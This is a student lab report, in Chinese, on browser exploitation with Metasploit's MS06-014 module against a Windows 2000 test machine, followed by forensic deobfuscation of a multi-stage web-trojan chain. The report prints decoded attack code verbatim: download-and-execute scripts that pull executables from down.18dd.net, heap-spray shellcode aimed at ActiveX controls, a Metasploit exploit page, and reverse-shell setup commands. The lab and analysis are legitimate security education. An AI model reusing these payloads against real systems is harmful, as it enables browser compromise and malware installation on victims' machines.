20251912 2025-2026-2 《网络攻防实践》实践十一报告
实验十一 Web 浏览器渗透攻击实验
1.实践内容
1.1 浏览器渗透攻击(MS06-014)
- 漏洞原理:MS06-014 是 Internet Explorer 中 createObject 方法的远程代码执行漏洞,攻击者可构造恶意网页触发
- 攻击流程:在 Metasploit 中选择 exploit/windows/browser/ie_createobject;配置 PAYLOAD(如 generic/shell_reverse_tcp);启动后生成恶意 URL;靶机访问后触发漏洞,攻击机获得反向 Shell;
1.2 网页木马的跳转链结构
真实攻击不是单一文件,而是多层跳转 + 动态解密的链式结构
入口文件(如 start.html)只是“引子”,真正的恶意逻辑隐藏在后续脚本中
每跳转一次,攻击者可能使用:
Base64 编码、XXTEA 加密、Packer 混淆(如 eval + 数组解密)、十六进制 / 八进制转义
1.3 哈希值作为资源定位符
本实验中,攻击者使用 MD5 散列值作为文件名存放下一级文件
作用:避免直接暴露文件路径和用途、便于攻击者快速替换内容而不改变访问逻辑
分析方法:提取 URL 或字符串 → 计算 MD5(小写)→ 到固定服务器下载对应文件
2.实践过程
2.1 实验准备
2.1.1.攻击机
系统:kali
IP地址:192.168.200.128

2.1.2靶机
系统:Win2k
IP地址:192.168.200.131

确认两台机子互通
2.2 web浏览器渗透攻击:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程
2.2.1 选择使用Metasploit中的MS06-014渗透攻击模块
-
在Kali终端里输入命令msfconsole启动Metasploit(记得在root权限下)
![522638db-39f7-4723-bf30-3db719150bed]()
-
输入命令search MS06-014查看渗透漏洞模块
![8f6ec13c-fe05-420d-98ad-8106f14ac741]()
-
实验中选择模块exploit/windows/browser/ie_createobject,命令是use exploit/windows/browser/ie_createobject,同时用show options查看模块配置参数
![bbd15a55-d290-4723-8d33-8c06931c99f5]()
2.2.2选择PAYLOAD为任意远程Shell连接
- 设置 payload 为 bind shell,然后exploit执行攻击
![36e5fdf0-c76f-4704-9810-322052deb94c]()
2.2.3设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
- 发起攻击后会发现metasploit给生成了一个url,该链接中包含了恶意脚本与漏洞利用代码
![f33248d1-c56b-46d6-8ff2-d684a027acaa]()
2.2.4在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
- 在 Windows 2000 靶机中打开 Internet Explorer 浏览器并访问上述 URL
![ded2e9f5-6e32-44bd-bd09-b76c8311bd05]()
2.2.5在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
-
使用命令sessions和sessions -i 1查看攻击机上捕捉的对话,获得靶机的控制权
![1e389f8e-b712-41ce-b829-8cd6ad63792a]()
-
ipconfig查看ip,确认已获得win2k靶机的控制权
![514517dd-feb0-4d04-96fc-27197d98691c]()
2.3取证分析实践—网页木马攻击场景分析
2.3.1首先你应该访问start.html,在这个文件中给出了new09.htm的地址
-
在学习通资料中下载start.html并复制到kali中,选择用记事本打开该文件并搜索new09.htm
![6371ed70-fbda-4ae0-a654-9a95e0545c3b]()
-
分析可知start.html中调用new09.htm是使用了相对路径,说明它们二者处于同一路径下,这属于典型的网页挂马结构,真正的恶意逻辑被隐藏在后续页面中。由于学习通资料中没有给出new09.htm,故从指导视频和参考pdf中找到该文件的内容如下:
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
2.3.2在进入 htm 后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值 下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件
-
找一个MD5计算网址对new09.htm中的两个网址进行散列值计算https://www.tooldeer.com/hashcalculator-md5.html
![b8339c0a-d162-4a8e-81cd-2282af9d4e6e]()
![9b6add8b-c8ee-4837-9cc5-3723d9610dd5]()
-
到学习通资料-实践十一-参考答案-网页挂马分析实践中下载压缩包复制到kali后解压,根据上述散列值查找文件并用记事本打开
文件1,调整至gbk显示发现这不是一个木马,该文件可以停止解密了
![c4ea1a3d-d1bf-49e5-a59f-f254ec2f0ae9]()
![0f2987d7-be8d-4a28-aeaf-4adecc54cf6a]()
文件2,分析可知是base64加密,密钥也被代码标明了
![e7b17629-b5e3-4149-99fe-a9bce9909f96]()
![9ccd8d52-a95f-4c4d-b21d-bd59ab76f4e7]()
2.3.3如果解密出的地址给出的是网页或脚本文件,请继续解密
-
加密文件密钥\x73\x63\x72\x69\x70\x74解密 https://lzltool.cn/Toolkit/ConvertStringToHexadecimal 可知是script
-
使用 XXTEA 工具对文件进行解密 https://cycy.fun/xxtea/
![c594aca8-8603-441f-a1cc-6871eb27645c]()
-
继续十六进制转化可得代码
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){try{var e;var ado=document.createElement("object");ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as=ado.createobject("Adodb.Stream","")}catch(e){};finally{var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();if(e!="[object Error]"){document.write('<script src=http://aa.18dd.net/aa/1.js><\/script>')}else{try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}catch(f){};finally{if(f!="[object Error]"){document.write('<script src=http://aa.18dd.net/aa/b.js><\/script>')}}try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}catch(g){};finally{if(g!="[object Error]"){document.write('<script src=http://aa.18dd.net/aa/pps.js><\/script>')}}try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}catch(h){};finally{if(h!="[object Error]"){obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}}}
}
2.3.4这其中又有四个被调用的文件,重复上述步骤继续进行解密
- 获取四个网址的MD5散列值
文件2-1 “ http://aa.18dd.net/aa/1.js ”------5d7e9058a857aa2abee820d5473c5fa4
文件2-2 “ http://aa.18dd.net/aa/b.js ”------3870c28cc279d457746b3796a262f166
文件2-3 “ http://aa.18dd.net/aa/pps.js ”------5f0b8bf0385314dbe0e5ec95e6abedc2
文件2-4 “ http://down.18dd.net/bb/bd.cab ”------1c1d7b3539a617517c49eee4120783b2 - 首先看文件2-1 5d7e9058a857aa2abee820d5473c5fa4
![e047fa4c-764e-4b0a-bf50-1072016e1bef]()
转换得代码
var url="http://down.18dd.net/bb/014.exe";
try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)
}catch(e){}
又有新的调用,暂时记作文件2-1-1 “ http://down.18dd.net/bb/014.exe ”,一会儿再处理
- 然后看文件2-2 3870c28cc279d457746b3796a262f166
![2f4d0a58-b123-425f-866c-b424818abb20]()
易看出是packer加密,找个工具解码得到
var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)
从中可以看到,shellcode很长,通过/符号来查找所需要的url。/符号对应的十六进制为2f,其中有6处出现2f,因此这里需要再次进行16进制转字符:
687474703a2f2f646f776e2e313864642e6e65742f62622f62662e657865------- http://down.18dd.net/bb/bf.exe ,暂时记作文件2-2-1
- 来看文件2-3 5f0b8bf0385314dbe0e5ec95e6abedc2
![53dadc67-50b1-411c-99e0-abbd997256eb]()
容易看出这是八进制加密,转成字符串:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
获得了shellcode,和文件2-2类似,找“/”的十六进制2f来更快找到url
记“ http://down.18dd.net/bb/pps.exe ”为文件2-3-1
- 第二轮的最后来看文件2-4 1c1d7b3539a617517c49eee4120783b2
![080e5504-4d01-4b62-8ab4-fbd3ef1f1edc]()
发现是个压缩包,名字是bd.exe
2.3.5从第二轮中我们又获得了四个网址,接下来进行第三轮解密
-
先整理出四个网址并进行MD5哈希值计算
文件2-1-1 “ http://down.18dd.net/bb/014.exe ”------ca4e4a1730b0f69a9b94393d9443b979
文件2-2-1 “ http://down.18dd.net/bb/bf.exe ”------268cbd59fbed235f6cf6b41b92b03f8e
文件2-3-1 “ http://down.18dd.net/bb/pps.exe ”------ff59b3b8961f502289c1b4df8c37e2a4
文件2-4-1 “ http://down.18dd.net/bb/bd.exe ”------994f7810e6a461292cc337bf73981e2c
计算散列值发现完全相同,所以这四个文件是完全一样的文件,因此随机找一个文件进行分析。 -
使用WinXP自带的超级巡警脱壳工具进行脱壳再随后使用IDA工具对该文件进行分析,可以发现,该可执行文件下载了大量的木马可执行文件
![de157d07-76fd-403e-84b1-639d53be2d61]()
至此分析完毕
2.4攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
-
实验环境与2.2环境相同,测试连通性
![b916c142-f693-4b69-906c-6763e881608a]()
![b0ad0325-33a0-456b-b738-b3875d801e24]()
-
在kali中使用命令msfconsole打开Metasploit
![1c507070-2583-4820-9b86-fa4bd0a6bbf5]()
-
命令search MS06-014 查询发现只有一个可用的攻击模块,use 0 使用该模块进行攻击
![f67d6b97-e84d-4e5d-a0f5-8b172c5ff669]()
-
使用 show payloads 查询可用载荷
![1a27fd34-e402-4376-9dde-f9f99629f97b]()
-
使用4号载荷,配置攻击参数set payload generic/shell_reverse_tcp、set RHOST 192.168.200.131(靶机)、set LHOST 192.168.200.128 (攻击机)
![5ef2d63f-1a1a-498c-941f-95c08f6f510f]()
-
使用命令 exploit 进行攻击,得到含有木马的网络链接
![1469dd82-476f-4504-87a8-9895ec27de82]()
-
用靶机访问这个网址
![4edfbb5f-e901-4442-8787-90badf3d06b9]()
-
使用view-source:查看源码
![5d239685-c4b1-4834-9c1e-b37b5de8ef90]()
-
去除空格后的代码如下
</details><html><head><title></title>
<scriptlanguage="javascript">
functionpVcQptuXtURkI(o,n)
{varr=null;try{eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")}catch(e){}if(!r){try{eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")}catch(e){}}if(!r){try{eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'','')")}catch(e){}}if(!r){try{eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")}catch(e){}}if(!r){try{eval("r=o"+".Ge"+"tOb"+"ject(n,'')")}catch(e){}}if(!r){try{eval("r=o"+".Ge"+"tOb"+"ject(n)")}catch(e){}}return(r);}
functionKICnWOyGLGaPMnBBSTFqivHOpkic(a)
{vars=pVcQptuXtURkI(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
varo=pVcQptuXtURkI(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam");
vare=s.Environment("P"+"ro"+"ce"+"ss");
varurl=document.location+'/p'+'ay'+'lo'+'ad';varxml=null;
varbin=e.Item("T"+"E"+"M"+"P")+"\\ujOvdPBAnxoLeaHiExeg"+".e"+"xe";
vardat;try{xml=newXMLHttpRequest();}
catch(e){try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}}
if(!xml){return(0);}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}
functionKgYOUdGGjoLHKdVQmjepXovpiiN()
{var i=0;
var t=newArray(
'{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}',
'{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}',
'{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}',
'{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}',
'{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}',
'{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}',
'{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}',
'{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}',
'{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}',
'{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}',
'{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}',
'{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',
'{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);
while(t[i])
{vara=null;
if(t[i].substring(0,1)=='{')
{a=document.createElement("object");
a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));}
else{try{a=newActiveXObject(t[i]);}catch(e){}}
if(a)
{try{varb=pVcQptuXtURkI(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");if(b){KICnWOyGLGaPMnBBSTFqivHOpkic(a);return(0);}}
catch(e){}}i++;}}
</script></head><bodyonload='KgYOUdGGjoLHKdVQmjepXovpiiN()'>KlfoGjq</body></html>
其中还包括着一个可执行文件的相关操作:EONVFedsZYIKzToBkkd.exe经查询相关资料得上述这些信息正好是MS06-014漏洞的相关信息。
3.学习中遇到的问题及解决
- 问题1:不知道什么时候该计算 MD5,什么时候该比对散列值
- 问题1解决方案:算MD5,是因为服务器把下一个文件藏起来了,文件名就是地址的MD5值,不去算就下不了文件。
比散列值,是因为走到后面可能会再次遇到同样的地址(比如攻击者重复利用同一个脚本),这时候没必要再下载一遍。所以提前看一眼这个MD5是不是已经下载过了,如果之前就有,就直接跳过,不用重复分析。
4.实践总结
在本次实验中,我用 Metasploit 生成恶意 URL,Win2k 靶机访问后直接获得 Shell。看似简单,但背后是 MS06-014 漏洞和 Metasploit 框架的自动化利用。这让我直观理解了什么是“远程代码执行漏洞”以及“浏览器作为攻击入口”的真实威胁。
真正没接触过的是这次的网页木马取证分析。攻击者不会把木马直接放在入口页,而是用多层跳转、多种编码(Base64、XXTEA、Packer、十六进制)、MD5 散列命名等方式把真实载荷藏得很深。每一层都需要手动解密、提取、下载、再分析,很像拆解一个精心设计的机关。






























